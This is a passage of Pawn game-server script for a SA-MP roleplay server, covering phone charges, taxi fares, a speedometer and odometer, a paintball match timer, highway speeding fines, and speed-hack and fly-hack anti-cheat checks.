			if(Mobile[i] != 9999 && CallCost[i] > 0 && CallCost[i]*3 > PINFO[i][pCharge]) {
			OnPlayerCommandText(i, "/h");
			new caller = Mobile[i];
			SendClientMessage(i, COLOR_Good, "There is no charge in your SIM card.");
			SendClientMessage(caller, COLOR_Good, "There is no charge in caller SIM card.");
			}
		  if(CellTime[i] == 90 && CallCost[i] > 0)
		  {
			 format(string, sizeof(string), "~w~The call cost~n~~r~$%d",CallCost[i]);
			 //GivePlayerPool(i, -CallCost[i]);
				PINFO[i][pCharge] -= CallCost[i]*3;
				SaveKonVal(i, "pCharge", PINFO[i][pCharge]);
			 SBizzInfo[14][sbTill] += CallCost[i]*3;
			 GameTextForPlayer(i, string, 5000, 1);
			 CallCost[i] = 0;
		  }

		  if(TransportTime[i] > 0)
		  {//Taxi driver and passenger only
			 if(TransportTime[i] >= 16)
			 {
				TransportTime[i] = 1;
				if(TransportDriver[i] < INVALID_PLAYER_ID)
				{
					if(IsPlayerConnected(TransportDriver[i]))
					{
					   TransportCost[i] += TransportValue[TransportDriver[i]];
					   TransportCost[TransportDriver[i]] = TransportCost[i];
					}
				}
			 }
			 TransportTime[i] += 1;
			 format(string, sizeof(string), "~r~%d ~w~: ~g~$%d",TransportTime[i],TransportCost[i]);
			 GameTextForPlayer(i, string, 15000, 6);
		  }
	   }
	}
	return 1;
}

function UnSentCheating(playerid)
{
	Cheating2[playerid] = 0;
	return 1;
}

/*TestMod*/
public SPeedKm()
{
for(new i = 0; i < Akharish; i++)
{
	new tmpcar = GetPlayerVehicleID(i);
	new vehicleid,Float:speed_x,Float:speed_y,Float:speed_z,Float:final_speed,speed_string[256],final_speed_int;
	vehicleid = GetPlayerVehicleID(i);
	if(!IsAPlane(tmpcar))
	{
	if(vehicleid != 0)
	{
	GetPlayerPos(i, TelePos[i][3], TelePos[i][4], TelePos[i][5]);
			 if(TelePos[i][5] > 550.0)
			 {
				TelePos[i][0] = 0.0;
				TelePos[i][1] = 0.0;
			 }
			 if(TelePos[i][0] != 0.0)
			 {
			GetVehicleVelocity(vehicleid,speed_x,speed_y,speed_z);
	   final_speed = floatsqroot(((speed_x*speed_x)+(speed_y*speed_y)))*180.0;
	   final_speed_int = floatround(final_speed,floatround_round);
	   if(final_speed_int < 81)
	   {
	   format(speed_string,256,"Speed: ~w~%i ~w~Km/h",final_speed_int); // sefid
	   }
	   else if(final_speed_int > 80 && final_speed_int < 120)
	   {
			 format(speed_string,256,"Speed: ~w~%i ~w~Km/h",final_speed_int); // sabz
	   }
	   else if(final_speed_int > 120)
	   {
			 format(speed_string,256,"Speed: ~r~%i ~w~Km/h",final_speed_int); // ghermez
	   }
	   PlayerTextDrawSetString(i, SpeedoTextDraw[i], speed_string);
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_1])
	   {
		new r = PlayerInfo[i][pVeh1];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_2])
	   {
		new r = PlayerInfo[i][pVeh2];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_3])
	   {
		new r = PlayerInfo[i][pVeh3];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_4])
	   {
		new r = PlayerInfo[i][pVeh4];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_5])
	   {
		new r = PlayerInfo[i][pVeh5];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_6])
	   {
		new r = PlayerInfo[i][pVeh6];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
			 }
			 GetPlayerPos(i, TelePos[i][3], TelePos[i][4], TelePos[i][5]);
			 if(TelePos[i][5] > 550.0)
			 {
				TelePos[i][0] = 0.0;
				TelePos[i][1] = 0.0;
			 }
			 if(TelePos[i][0] != 0.0)
			 {
			GetVehicleVelocity(vehicleid,speed_x,speed_y,speed_z);
	   final_speed = floatsqroot(((speed_x*speed_x)+(speed_y*speed_y)))*180.0;
	   final_speed_int = floatround(final_speed,floatround_round);
	   if(final_speed_int < 81)
	   {
	   format(speed_string,256,"Speed: ~w~%i ~w~Km/h",final_speed_int); // sefid
	   }
	   else if(final_speed_int > 80 && final_speed_int < 120)
	   {
			 format(speed_string,256,"Speed: ~w~%i ~w~Km/h",final_speed_int); // sabz
	   }
	   else if(final_speed_int > 120)
	   {
			 format(speed_string,256,"Speed: ~r~%i ~w~Km/h",final_speed_int); // ghermez
	   }
	   PlayerTextDrawSetString(i, SpeedoTextDraw[i], speed_string);
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_1])
	   {
		new r = PlayerInfo[i][pVeh1];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_2])
	   {
		new r = PlayerInfo[i][pVeh2];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_3])
	   {
		new r = PlayerInfo[i][pVeh3];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_4])
	   {
		new r = PlayerInfo[i][pVeh4];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_5])
	   {
		new r = PlayerInfo[i][pVeh5];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_6])
	   {
		new r = PlayerInfo[i][pVeh6];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
			 }
			 if(TelePos[i][5] < 550.0 && TelePos[i][3] != 0.0)
			 {
				TelePos[i][0] = TelePos[i][3];
				TelePos[i][1] = TelePos[i][4];
			 }
	}
	new string[256];
	new plname[MAX_PLAYER_NAME];
	new vehveh = GetPlayerVehicleID(i);
					if(final_speed_int > 240 && Cheating2[i] != 1 && VehicleTurbo[vehveh] == 0 && anticheat[i] != 0)
					{
					   if(!IsAPlane(tmpcar))
					   {
						  new playerveh = GetPlayerVehicleID(i);
						  new vehicles = GetVehicleModel(playerveh) - 400;
						  GetPlayerName(i, plname, sizeof(plname));
						  if(GetPlayerState(i) == PLAYER_STATE_DRIVER) {
						  format(string, 256, "[Admin-Warn]: {FFFFFF}Too Much Speed: %s(%i) (%iKm/h), V:%i(%s).",plname,i,final_speed_int,playerveh,aVehicleNames[vehicles]);
						  ABroadCast(COLOR_AdminWarn,string,1);
						  CheatsCount[i] ++;
	                      if(CheatsCount[i] >= CheatMaxWarn)
	                      {
		                  if(PINFO[i][pAdmin] < 12)
		                  {
		                    SCM(i, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		                    SCM(i, COLOR_LIGHTRED, "Reconnecting...");
	                        RelogPlayerfCheat[i] = SetTimerEx("Relogmec", 50, false, "i", i);
	                      }
                          }
								}
						  Cheating2[i] = 1;
						  SetTimerEx("UnSentCheating",5000,0,"i",i);
					   }
					}
	}
	if(IsAPlane(tmpcar))
	{
	if(vehicleid != 0)
	{
	GetPlayerPos(i, TelePos[i][3], TelePos[i][4], TelePos[i][5]);
			 if(TelePos[i][5] > 550.0)
			 {
				TelePos[i][0] = 0.0;
				TelePos[i][1] = 0.0;
			 }
			 if(TelePos[i][0] != 0.0)
			 {
	GetVehicleVelocity(vehicleid,speed_x,speed_y,speed_z);
	   final_speed = floatsqroot(((speed_x*speed_x)+(speed_y*speed_y)))*180.0;
	   final_speed_int = floatround(final_speed,floatround_round);
	   if(final_speed_int < 81)
	   {
	   format(speed_string,256,"Speed: ~w~%i ~w~Km/h",final_speed_int); // sefid
	   }
	   else if(final_speed_int > 80 && final_speed_int < 120)
	   {
			 format(speed_string,256,"Speed: ~w~%i ~w~Km/h",final_speed_int); // sabz
	   }
	   else if(final_speed_int > 120)
	   {
			 format(speed_string,256,"Speed: ~r~%i ~w~Km/h",final_speed_int); // ghermez
	   }
	   PlayerTextDrawSetString(i, SpeedoTextDraw[i], speed_string);
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_1])
	   {
		new r = PlayerInfo[i][pVeh1];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_2])
	   {
		new r = PlayerInfo[i][pVeh2];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_3])
	   {
		new r = PlayerInfo[i][pVeh3];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_4])
	   {
		new r = PlayerInfo[i][pVeh4];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_5])
	   {
		new r = PlayerInfo[i][pVeh5];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_6])
	   {
		new r = PlayerInfo[i][pVeh6];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
			 }
			 GetPlayerPos(i, TelePos[i][3], TelePos[i][4], TelePos[i][5]);
			 if(TelePos[i][5] > 550.0)
			 {
				TelePos[i][0] = 0.0;
				TelePos[i][1] = 0.0;
			 }
			 if(TelePos[i][0] != 0.0)
			 {
	   GetVehicleVelocity(vehicleid,speed_x,speed_y,speed_z);
	   final_speed = floatsqroot(((speed_x*speed_x)+(speed_y*speed_y)))*180.0;
	   final_speed_int = floatround(final_speed,floatround_round);
	   if(final_speed_int < 81)
	   {
	   format(speed_string,256,"Speed: ~w~%i ~w~Km/h",final_speed_int); // sefid
	   }
	   else if(final_speed_int > 80 && final_speed_int < 120)
	   {
			 format(speed_string,256,"Speed: ~w~%i ~w~Km/h",final_speed_int); // sabz
	   }
	   else if(final_speed_int > 120)
	   {
			 format(speed_string,256,"Speed: ~r~%i ~w~Km/h",final_speed_int); // ghermez
	   }
	   PlayerTextDrawSetString(i, SpeedoTextDraw[i], speed_string);
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_1])
	   {
		new r = PlayerInfo[i][pVeh1];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_2])
	   {
		new r = PlayerInfo[i][pVeh2];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_3])
	   {
		new r = PlayerInfo[i][pVeh3];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_4])
	   {
		new r = PlayerInfo[i][pVeh4];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_5])
	   {
		new r = PlayerInfo[i][pVeh5];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
	   if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_6])
	   {
		new r = PlayerInfo[i][pVeh6];
	   new string[256];
	   format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	   PlayerTextDrawSetString(i, KiloTextDraw[i], string);
		if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~r~Locked");}
		if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(i, LockTD[i], "Status: ~g~Unlocked");}
		}
			 }
			 if(TelePos[i][5] < 550.0 && TelePos[i][3] != 0.0)
			 {
				TelePos[i][0] = TelePos[i][3];
				TelePos[i][1] = TelePos[i][4];
			 }
	}
	}
}
return 1;
}
forward jhdown(playerid);
public jhdown(playerid) {
TogglePlayerControllable(playerid, 1);
Raft[playerid] = 2;
return 1;
}
public SetPlayerUnjailKon()
{
//	new stri[128];
//	format(stri,sizeof(stri), "%d %d", PTime, PaintBallPlayers);
//	SendClientMessageToAll(COLOR_RED, stri);





	if(PTime >= 1)
	{

		PTime --;
		if(PTime == 0)
		{
		   new loOoL;
			if(PaintBallPlayers <= 3) loOoL = 1;
		   for(new i;i<Akharish;i++)
		   {
			  if(IsPlayerConnected(i))
			  {

				 if(OnPaintBall[i] != 0)
				 {
					if(loOoL == 1) {StopPaintBalling();SCM(i,COLOR_SINA3,"Paintball doesn't start, because this match hasn't enough players(4 players need).");}
					else
						{
							hanuzna[i] = 0;
							SetSpawnKol(i);
							SpawnPlayer(i);
						TogglePlayerControllable(i,1);
							PaintBallStarting = 0;
							PaintballStarted = 1;
							PFTime = 420;
						SCM(i,COLOR_SINA3,"The paintball has been started.");
							TextDrawShowForPlayer(i, PaintBox);
							PlayerTextDrawShow(i, PaintKills[i]);
							PlayerTextDrawShow(i, PaintDeath[i]);
							TextDrawShowForPlayer(i, PaintBKiller);
							TextDrawShowForPlayer(i, PaintName);
							TextDrawShowForPlayer(i, PaintMostKills);
							TextDrawShowForPlayer(i, PaintTime);
							TextDrawShowForPlayer(i, PaintKhodeTime);
							if(pbdg > pbsl && pbdg > pbsg && pbdg > pbss && pbdg > pbcs && pbdg > pbmp && pbdg > pbsr && pbdg > pbak && pbdg > pbm4 && pbdg > pbcr)
							{GivePlayerPBKolang(i, 24, 2000);SCM(i, COLOR_YELLOW, "Gun: Desert Eagle.");}

							else if(pbsl > pbdg && pbsl > pbsg && pbsl > pbss && pbsl > pbcs && pbsl > pbmp && pbsl > pbsr && pbsl > pbak && pbsl > pbm4 && pbsl > pbcr)
							{GivePlayerPBKolang(i, 23, 2000);SCM(i, COLOR_YELLOW, "Gun: Silenced 9mm.");}

							else if(pbsg > pbdg && pbsg > pbsl && pbsg > pbss && pbsg > pbcs && pbsg > pbmp && pbsg > pbsr && pbsg > pbak && pbsg > pbm4 && pbsg > pbcr)
							{GivePlayerPBKolang(i, 25, 2000);SCM(i, COLOR_YELLOW, "Gun: Shotgun.");}

							else if(pbss > pbdg && pbss > pbsl && pbss > pbsg && pbss > pbcs && pbss > pbmp && pbss > pbsr && pbss > pbak && pbss > pbm4 && pbss > pbcr)
							{GivePlayerPBKolang(i, 26, 2000);SCM(i, COLOR_YELLOW, "Gun: Sawn-off Shotgun.");}

							else if(pbcs > pbdg && pbcs > pbsl && pbcs > pbss && pbcs > pbsg && pbcs > pbmp && pbcs > pbsr && pbcs > pbak && pbcs > pbm4 && pbcs > pbcr)
							{GivePlayerPBKolang(i, 27, 2000);SCM(i, COLOR_YELLOW, "Gun: Combat Shotgun.");}

							else if(pbmp > pbdg && pbmp > pbsl && pbmp > pbss && pbmp > pbcs && pbmp > pbsg && pbmp > pbsr && pbmp > pbak && pbmp > pbm4 && pbmp > pbcr)
							{GivePlayerPBKolang(i, 29, 2000);SCM(i, COLOR_YELLOW, "Gun: MP5.");}

							else if(pbsr > pbdg && pbsr > pbsl && pbsr > pbss && pbsr > pbcs && pbsr > pbmp && pbsr > pbsg && pbsr > pbak && pbsr > pbm4 && pbsr > pbcr)
							{GivePlayerPBKolang(i, 34, 2000);SCM(i, COLOR_YELLOW, "Gun: Sniper rifle.");}

							else if(pbak > pbdg && pbak > pbsl && pbak > pbss && pbak > pbcs && pbak > pbmp && pbak > pbsr && pbak > pbsg && pbak > pbm4 && pbak > pbcr)
							{GivePlayerPBKolang(i, 30, 2000);SCM(i, COLOR_YELLOW, "Gun: AK-47.");}

							else if(pbm4 > pbdg && pbm4 > pbsl && pbm4 > pbss && pbm4 > pbcs && pbm4 > pbmp && pbm4 > pbsr && pbm4 > pbak && pbm4 > pbsg && pbm4 > pbcr)
							{GivePlayerPBKolang(i, 31, 2000);SCM(i, COLOR_YELLOW, "Gun: M4.");}

							else if(pbcr > pbdg && pbcr > pbsl && pbcr > pbss && pbcr > pbcs && pbcr > pbmp && pbcr > pbsr && pbcr > pbak && pbcr > pbm4 && pbcr > pbsg)
							{GivePlayerPBKolang(i, 33, 2000);SCM(i, COLOR_YELLOW, "Gun: Country rifle.");}
							else {GivePlayerPBKolang(i, 31, 2000);GivePlayerPBKolang(i, 27, 2000);SCM(i, COLOR_YELLOW, "Gun: Combat Shotgun and M4.");}
					 }
				 }
			  }
		   }
		}
	}
	if(PFTime >= 1)
	{
		PFTime --;
		//SplitSeconds(PFTime,PaintballMin,PaintballSec)
		new H;
		SinaConvert(PFTime,H,PaintballMin,PaintballSec);
		new timeebaw[20];
		if(PFTime >= 11)
		{
		if(PaintballSec >= 11)
		{
		format(timeebaw, sizeof(timeebaw), "00:0%i:%i", PaintballMin, PaintballSec);
		TextDrawSetString(PaintKhodeTime, timeebaw);
		}
		if(PaintballSec == 10)
		{
		format(timeebaw, sizeof(timeebaw), "00:0%i:%i", PaintballMin, PaintballSec);
		TextDrawSetString(PaintKhodeTime, timeebaw);
		}
		if(PaintballSec < 10)
		{
		format(timeebaw, sizeof(timeebaw), "00:0%i:0%i", PaintballMin, PaintballSec);
		TextDrawSetString(PaintKhodeTime, timeebaw);
		}
		}
		if(PFTime == 10)
		{
		format(timeebaw, sizeof(timeebaw), "00:0%i:~r~%i", PaintballMin, PaintballSec);
		TextDrawSetString(PaintKhodeTime, timeebaw);
		}
		if(PFTime < 10)
		{
		format(timeebaw, sizeof(timeebaw), "00:0%i:~r~0%i", PaintballMin, PaintballSec);
		TextDrawSetString(PaintKhodeTime, timeebaw);
		}
		if(PFTime == 0)
		{
		  new record,b;
		  for(new i;i<Akharish;i++)
		   {
			  if(IsPlayerConnected(i))
			  {
				 if(OnPaintBall[i] != 0)
				 {
						if(b == 0) {record = PaintBallKills[i];b = 1;}
					if(PaintBallKills[i] > record){record = PaintBallKills[i];}
				 }
			  }
		   }
		   for(new i;i<Akharish;i++)
		   {
			  if(IsPlayerConnected(i))
			  {
				 if(OnPaintBall[i] != 0)
				 {
						//new sttr[144];
						ResetPlayerKolang(i);
						//format(sttr,144,"The paintball has been finished. Winner is: %s with %i kills",PINFO[PaintBallWinner][pName],record);
						//SCM(i,COLOR_WHITE,sttr);
						StopPaintBalling();
					}
			   }
			}
		}
	}




	new string[256];
 for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i))
	   {
		if((Raft[i] == 2 || Raft[i] == 1) && Reside[i] == 0) {
		new Float:x, Float:y, Float:z;
		GetPlayerPos(i, x, y, z);
		CreateExplosion(x, y, z, 2, 100.0);
		}
		if(Raft[i] != 0) {
		if(IsPlayerInRangeOfPoint(i, 20.0, -6447.601562,-1470.213500,618)) {
		Reside[i] = 1;
		GodmodeFeature[i] = false;
		SetPlayerKoon(true, i, 0);
		SetPlayerTime(i, 20, 0); // Noon
		SetPlayerWeather(i, 200);
		}
		}

		if(Raft[i] == 1) {

		if(PTP(9.0,i, -6452.777832,-1473.510986,902.473083)) {
		SetPlayerPos(i, -6453.8027,-1472.7749,901.3029);
		TogglePlayerControllable(i, 0);
		DestroyPlayerObject(i, kaf[i]);
		SetTimerEx("jhdown", 500, 0, "i", i);
		}

		}
		if(IsPlayerInAnyVehicle(i)) {
//		new vhx = GetPlayerVehicleID(i);
		//SetVehicleHealth(vhx, HPVEH[vhx]);
		}
		if(PlayerToPoint(50.0, i, 1669.35742, -54.06116, 35.05908) && IsPlayerInAnyVehicle(i)) {

			new veh = GetPlayerVehicleID(i);
			new sppeed = soratbegirs(veh);

			if(!IsACop(i) && !IsAPlane(GetPlayerVehicleID(i)) && sppeed > 160 && GetPlayerState(i) == PLAYER_STATE_DRIVER && Speedct[i] == 0) {

			format(string, sizeof(string), "A driving crime submitted. type: High speed (%dkm/h) against (160km/h).",sppeed);
			SendClientMessage(i, COLOR_AdminWarn, string);

			format(string, sizeof(string), "A driving crime for %s(%d) submitted in LS-LV highway. type: High speed (%dkm/h) against (160km/h).",PINFO[i][pName],i,sppeed);
			SendRadioMessage(1, COLOR_BLUE, string);

			SetTimerEx("speedct", 20000, false, "i", i);
			Speedct[i] = 1;


			}

		}
if(FullySpawned[i] != 0)FullySpawned[i]--;
if(TimeOffedEngine[i] > 0)TimeOffedEngine[i] --;
/////////////////////////FLY HACK////////////////////////////////////////
/*        new Float:animX, Float:animY, Float:animZ;
	   new anim = GetPlayerAnimationIndex(i);
	   GetPlayerPos(i, animX, animY, animZ);
		if((anim == 959) && animZ > 5  && (GetPlayerWeapon(i) != 46) && Cheating2[i] == 0)
	   {
			new name[MAX_PLAYER_NAME];
			GetPlayerName(i, name, sizeof(name));
			format(string,sizeof(string),"[Admin-Warn]: {FFFFFF}Server detected a flyhack(#2) on %s(%d)(Kicked)",name,i);
			SendAdminMessage(COLOR_AdminWarn, string);
			KickWithMessage(i, COLOR_LIGHTRED, "You have been kicked due to FlyHack or ...");
		}
		if((anim == 417) && FlyHack[i] == 0 && Cheating2[i] == 0)
	   {
			new name[MAX_PLAYER_NAME];
			GetPlayerName(i, name, sizeof(name));
			format(string,sizeof(string),"[Admin-Warn]: {FFFFFF}Server detected a flyhack(#3) on %s(%d)(Kicked)",name,i);
			SendAdminMessage(COLOR_AdminWarn, string);
			KickWithMessage(i, COLOR_LIGHTRED, "You have been kicked due to FlyHack or ...");
		}
	   if((anim >= 1538) && (anim <= 1542) && animZ > 5 && Cheating2[i] == 0 && !IsPlayerInWater2(i) && !IsPlayerInWater3(i))
	   {
			new name[MAX_PLAYER_NAME];
			GetPlayerName(i, name, sizeof(name));
			format(string,sizeof(string),"[Admin-Warn]: {FFFFFF}Server detected a flyhack(#1) on %s(%d)(Kicked)",name,i);
			SendAdminMessage(COLOR_AdminWarn, string);
			KickWithMessage(i, COLOR_LIGHTRED, "You have been kicked due to FlyHack or ...");
		}

*/


if(GodmodeFeature[i] == true && IsPlayerInAnyVehicle(i) && (PlayerInfo[i][pAdmin] >= 7 || PlayerInfo[i][pSponser] != 0))
{
	new veh=GetPlayerVehicleID(i);
	if(PlayerInfo[i][pAdmin]>=10)
	{
	RepairVehicle(veh);
	SetVehicleHealth(veh,1000000.0);
	}
	if(PlayerInfo[i][pAdmin]<10)
	{
	if(OwnedMashin[veh] != 1)
	{
